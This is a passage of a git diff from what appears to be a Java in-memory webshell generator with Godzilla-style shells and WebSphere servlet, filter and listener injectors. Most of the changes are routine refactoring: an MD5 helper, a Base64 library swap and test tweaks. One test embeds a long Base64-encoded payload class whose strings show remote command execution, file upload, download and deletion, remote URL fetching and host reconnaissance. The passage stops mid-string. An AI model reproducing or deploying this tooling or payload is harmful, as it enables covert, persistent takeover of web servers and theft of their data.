getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, WebSphereServletInjector.class) - .addInjector(FILTER, WebSphereFilterInjector.class) .addInjector(LISTENER, WebSphereListenerInjector.class) + .addInjector(FILTER, WebSphereFilterInjector.class) + .addInjector(SERVLET, WebSphereServletInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/DigestUtils.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/DigestUtils.java new file mode 100644 index 00000000..a132c87b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/DigestUtils.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.memshell.utils; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; + +/** + * @author ReaJason + * @since 2025/4/6 + */ +public class DigestUtils { + public static String md5Hex(String input) { + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + byte[] hashBytes = md.digest(input.getBytes()); + + // Convert byte array to hex string + StringBuilder hexString = new StringBuilder(); + for (byte b : hashBytes) { + String hex = Integer.toHexString(0xff & b); + if (hex.length() == 1) { + hexString.append('0'); + } + hexString.append(hex); + } + return hexString.toString(); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException("MD5 algorithm not found", e); + } + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java index 36a500ad..f8ff963d 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java @@ -49,7 +49,7 @@ void test() { if (generateResult != null) { Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); -// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); +// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes())); // System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult)); // Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java index 91bfd1da..6fc3db64 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java @@ -2,7 +2,7 @@ import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.*; /** * @author ReaJason @@ -14,6 +14,7 @@ class GodzillaShellConfigTest { void test() { GodzillaConfig shellConfig = GodzillaConfig.builder() .pass("pass").build(); - assertEquals("key", shellConfig.getKey()); + assertEquals("pass", shellConfig.getPass()); + assertNotEquals("key", shellConfig.getKey()); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index 570441f3..c5e52fe8 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -6,7 +6,7 @@ import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.jar.asm.ClassReader; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -24,7 +24,7 @@ void test() { .subclass(Object.class) .name(CommonUtil.generateShellClassName()).make().getBytes(); String className = CommonUtil.generateShellClassName(); - byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.encodeBase64String(bytes)).build()).getBytes(); + byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes(); ClassReader classReader = new ClassReader(bytes1); assertEquals(className, classReader.getClassName().replace("/", ".")); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java index 5b15b5c7..15197750 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; import org.junit.jupiter.api.Test; /** @@ -13,7 +13,7 @@ class BCELPackerTest { @Test void test() { - byte[] bytes1 = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyB